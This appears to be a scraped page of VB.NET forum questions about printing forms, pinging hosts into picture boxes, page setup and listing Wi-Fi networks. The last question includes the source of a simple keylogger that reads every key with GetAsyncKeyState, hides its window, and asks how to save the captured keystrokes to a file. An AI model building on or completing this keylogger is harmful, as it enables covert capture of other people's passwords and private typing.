Printing vb.net forms with a loop - vb.net

Hi I am tring print multiple copies of box labels that are on a form using vb.net
the copies will depent on the amount of boxes on the job and will range from 1 to 500 copies.
I would like to print these but also print a choosen box number if required.
Can any one help as all my attempts have failed.
The problem is it captures the screen including msgboxs of what is currenting being printed or done and calls them all document 1. Is there a simple way to print without screen capture.
here is my code at the moment
Imports System
Imports System.Windows.Forms
Imports System.Drawing
Imports System.Drawing.Printing
Public Class print
Inherits Form
Private WithEvents printButton As New Button
Private WithEvents printDocument1 As New PrintDocument
Dim memoryImage As Bitmap
Private Sub CaptureScreen()
Dim myGraphics As Graphics = Me.CreateGraphics()
Dim s As Size = Me.Size
memoryImage = New Bitmap(s.Width, s.Height, myGraphics)
Dim memoryGraphics As Graphics = Graphics.FromImage(memoryImage)
memoryGraphics.CopyFromScreen(Me.Location.X, Me.Location.Y, 0, 0, s)
End Sub
Private Sub printDocument1_PrintPage(ByVal sender As System.Object, _
ByVal e As System.Drawing.Printing.PrintPageEventArgs) Handles _
printDocument1.PrintPage
e.Graphics.DrawImage(memoryImage, 0, 0)
End Sub
Private Sub printButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles printButton.Click
Dim numberofboxes As Integer = 3
Dim startbox As Integer = 1
Dim counter As Integer = 1
For index As Integer = startbox To numberofboxes
CaptureScreen()
printDocument1.Print()
lblFirstBoxPrint.Text = counter
counter = counter + 1
printDocument1.PrinterSettings.PrintToFile = True
printDocument1.PrinterSettings.PrintFileName = "C:\Users\Joseph\Desktop\test '" & counter & "'.xps"
printDocument1.Print()
Next
End Sub
Public Shared Sub Main()
Application.Run(New print())
End Sub
Private Sub print_Load(sender As Object, e As EventArgs) Handles MyBase.Load
printButton.Text = "Print Form"
Me.Controls.Add(printButton)
End Sub
End Class

If you desire to actually print your form, as it appears on screen, consider the built-in PrintForm Component. After adding the component, and setting properties, printing is a one line process.
PrintForm1.Print()
See this MSDN tutorial for further details.

Related

vb.net System.ArgumentOutOfRangeException When Trying to ping

been trying to follow this guide on how to make picture boxes change colour depending on if the ping has been successful or not. I have some test ip's in a CSV file that the program imports
but I keep getting a exception error. I have 3 picture boxes on the page currently defined from picturebox2 - 4
the code for the whole page is below, any suggestions or fixes would be greatly appreciated
Imports System.Net
Imports System.Net.NetworkInformation
Imports System.Threading
Imports System.IO
Imports System.Timers
Public Class Central
Dim pingTable As DataTable = New DataTable()
Dim ipAddress As List(Of String) = New List(Of String)
Dim pictureBoxList As List(Of PictureBox) = New List(Of PictureBox)
Dim timer As Timers.Timer
Public Sub New()
' This call is required by the designer.
InitializeComponent()
' Add any initialization after the InitializeComponent() call.
timer = New Timers.Timer
timer.Interval = 20000
timer.Enabled = True
AddHandler timer.Elapsed, AddressOf OnElapsedTime
End Sub
Private Sub OnElapsedTime(ByVal sender As Object, ByVal e As ElapsedEventArgs)
BackgroundWorker1.RunWorkerAsync()
End Sub
Private Sub FillPingTable()
pingTable.Columns.Add("ip", GetType(String))
pingTable.Columns.Add("picturebox", GetType(String))
pingTable.Rows.Add()
For i As Integer = 0 To ipAddress.Count - 1
pingTable.Rows.Add(ipAddress(i), pictureBoxList(i))
Next
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Hide()
Scot.Show()
End Sub
Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
Hide()
Home.Show()
End Sub
Private Sub central_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Using reader = New StreamReader("A:\IpAddress.csv")
While Not reader.EndOfStream
Dim line = reader.ReadLine
Dim values = line.Split(ChrW(10))
ipAddress.Add(values(0))
End While
For i As Integer = 1 To 2
pictureBoxList.Add(CType(Controls.Find("PictureBox" & i, True)(0), PictureBox))
FillPingTable()
BackgroundWorker1.RunWorkerAsync()
Next
End Using
End Sub
Private Sub BackgroundWorker1_DoWork(sender As Object, e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Thread.Sleep(500)
Parallel.For(0, ipAddress.Count(), Sub(i, loopState)
Dim ping As New Ping()
Dim pingReply As PingReply = ping.Send(ipAddress(i).ToString())
Me.BeginInvoke(CType(Sub()
pictureBoxList(i).SizeMode = PictureBoxSizeMode.Zoom
pictureBoxList(i).BackColor = If(pingReply.Status = IPStatus.Success, Color.Green, Color.Red)
End Sub, Action))
End Sub)
End Sub
End Class

How can I print a document with textboxes showing? (vB)

So I have been trying to print a document where the textboxes are shown on top of a picturebox, however it just doesn't seem to work.
Imports System.Drawing.Printing
Public Class Form1
Dim WithEvents mPrintDocument As New PrintDocument
Dim mPrintBitMap As Bitmap
Private Sub m_PrintDocument_PrintPage(ByVal sender As Object, ByVal e As System.Drawing.Printing.PrintPageEventArgs) Handles mPrintDocument.PrintPage
' Draw the image centered.
Dim lWidth As Integer = e.MarginBounds.X + (e.MarginBounds.Width / 0.95 - mPrintBitMap.Width) \ 1
Dim lHeight As Integer = e.MarginBounds.Y + (e.MarginBounds.Height / 0.9 - mPrintBitMap.Height) \ 2
e.Graphics.DrawImage(mPrintBitMap, lWidth, lHeight)
' There's only one page.
e.HasMorePages = False
End Sub
Private Sub btnPrint_Click(sender As Object, e As EventArgs) Handles btnPrint.Click
picFij.SendToBack()
lblDN.BringToFront()
mPrintBitMap = New Bitmap(Me.Width, Me.Width)
Dim lRect As System.Drawing.Rectangle
lRect.Width = Me.Width
lRect.Height = Me.Width
Me.DrawToBitmap(mPrintBitMap, lRect)
mPrintDocument = New PrintDocument
printPreviewDialog1.Document = mPrintDocument
PrintPreviewDialog1.ShowDialog()
End Sub
I attempted a BringToFront() and SendToBack() but that didn't work.
This is what I want to print:
https://cdn.discordapp.com/attachments/358502382910570497/546555282940100648/unknown.png
And this is print preview
https://cdn.discordapp.com/attachments/358502382910570497/546555621806178324/unknown.png
Any ideas?
Make the PictureBox the Parent of your TextBox, then it should show up when you call DrawToBitmap(). For example, to keep TextBox1 in the same location, convert it screen coords, then back to client coords with respect to the PictureBox:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim pt As Point = TextBox1.PointToScreen(New Point(0, 0))
TextBox1.Parent = PictureBox1
TextBox1.Location = PictureBox1.PointToClient(pt)
End Sub

Print Form in VB windows application

I created one windows application using VS2013, the form contains few labels and textboxes. Form1 has little bit larges so I unable to print in actual size, it prints on portrait mode.
In my project I have added PrintForm and PageSetup dialogue, but this page setup won't works well, if I click on Landscape in PageSetup and then print, it prints the form in portrait mode.
page setup coding
' initialize the page settings
PageSetupDialog1.PageSettings = New Printing.PageSettings
' hide the network button
PageSetupDialog1.ShowNetwork = False
If PageSetupDialog1.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim settings() As Object = New Object() _
{PageSetupDialog1.PageSettings.Margins, _
PageSetupDialog1.PageSettings.PaperSize, _
PageSetupDialog1.PageSettings.Landscape, _
PageSetupDialog1.PrinterSettings.PrinterName, _
PageSetupDialog1.PrinterSettings.PrintRange}
End If
You need to think about if you really want to print the whole form as there might be buttons etc the user doesn't need to see and it is worthwhile learning how to design a page to be printed only containing relevant information.
For printing a form you can:
Option 1) Download the Visual Basic Powerpack as it contains the form print control and use this:
or
Option 2)
Turn your form into a bitmap and put into the document.print routine.
Here is some code you can play around with:
Imports System.Drawing.Printing
Public Class Form1
Dim WithEvents mPrintDocument As New PrintDocument
Dim mPrintBitMap As Bitmap
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim prtdoc As New PrintDocument
Dim strDefaultPrinter As String = prtdoc.PrinterSettings.PrinterName
MsgBox(strDefaultPrinter)
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' Copy the form's image into a bitmap.
mPrintBitMap = New Bitmap(Me.Width, Me.Width)
Dim lRect As System.Drawing.Rectangle
lRect.Width = Me.Width
lRect.Height = Me.Width
Me.DrawToBitmap(mPrintBitMap, lRect)
' Make a PrintDocument and print.
mPrintDocument = New PrintDocument
mPrintDocument.DefaultPageSettings.Landscape = True
'mPrintDocument.Print() 'send the document to the printer
Me.PrintPreviewDialog1.Document = mPrintDocument
PrintPreviewDialog1.ShowDialog()
End Sub
Private Sub m_PrintDocument_PrintPage(ByVal sender As Object, ByVal e As System.Drawing.Printing.PrintPageEventArgs) Handles mPrintDocument.PrintPage
' Draw the image centered.
Dim lWidth As Integer = e.MarginBounds.X + (e.MarginBounds.Width - mPrintBitMap.Width) \ 2
Dim lHeight As Integer = e.MarginBounds.Y + (e.MarginBounds.Height - mPrintBitMap.Height) \ 2
e.Graphics.DrawImage(mPrintBitMap, lWidth, lHeight)
' There's only one page.
e.HasMorePages = False
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Application.Exit()
End Sub
End Class

How do get only available ssid with visual basic 2010

Sorry for bad english
I want the available ssid list in listbox
I am use api and its work but It stopped working after a while.And not see current wifi list.
My code:
Imports deneme2.NativeWifi
Imports System.Text
Public Class Form1
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub scan()
On Error Resume Next
Dim client As New WlanClient
ListView1.Items.Clear()
For Each wlanIface As WlanClient.WlanInterface In client.Interfaces
Dim networks() As Wlan.WlanAvailableNetwork = wlanIface.GetAvailableNetworkList(0)
For Each network As Wlan.WlanAvailableNetwork In networks
Dim ssid As Wlan.Dot11Ssid = network.dot11Ssid
Dim networkName As String = Encoding.ASCII.GetString(ssid.SSID, 0, CType(ssid.SSIDLength, Integer))
Dim item As ListViewItem = New ListViewItem(networkName)
item.SubItems.Add(network.dot11DefaultCipherAlgorithm.ToString())
item.SubItems.Add(network.wlanSignalQuality.ToString + "%")
ListView1.Items.Add(item)
Next
Next
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
scan()
End Sub
End Class

How to save the output of a program to a text document?

I'm using visual studio 2013. Now I'm making a very simple keylogger to save the keys pressed by the user. And they are shown in a "richtextbox". I want to save the things shown in the richtextbox to a text document using visual studio 2013.
Here is the code of my keylogger.
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Int16
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Hide()
Me.Visible = False
End Sub
End Class
I tried to save using this code.
Dim fileName As String = IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "output.txt")
Dim data As New List(Of String)
If IO.File.Exists(fileName) Then
data = IO.File.ReadAllLines(fileName).ToList
data.AddRange(RichTextBox1.Lines)
Else
data = RichTextBox1.Lines.ToList
End If
IO.File.WriteAllLines(fileName, data.ToArray)
But when i open the text document "output.txt", nothing can be seen inside that although all the keys I pressed are in the richtextbox.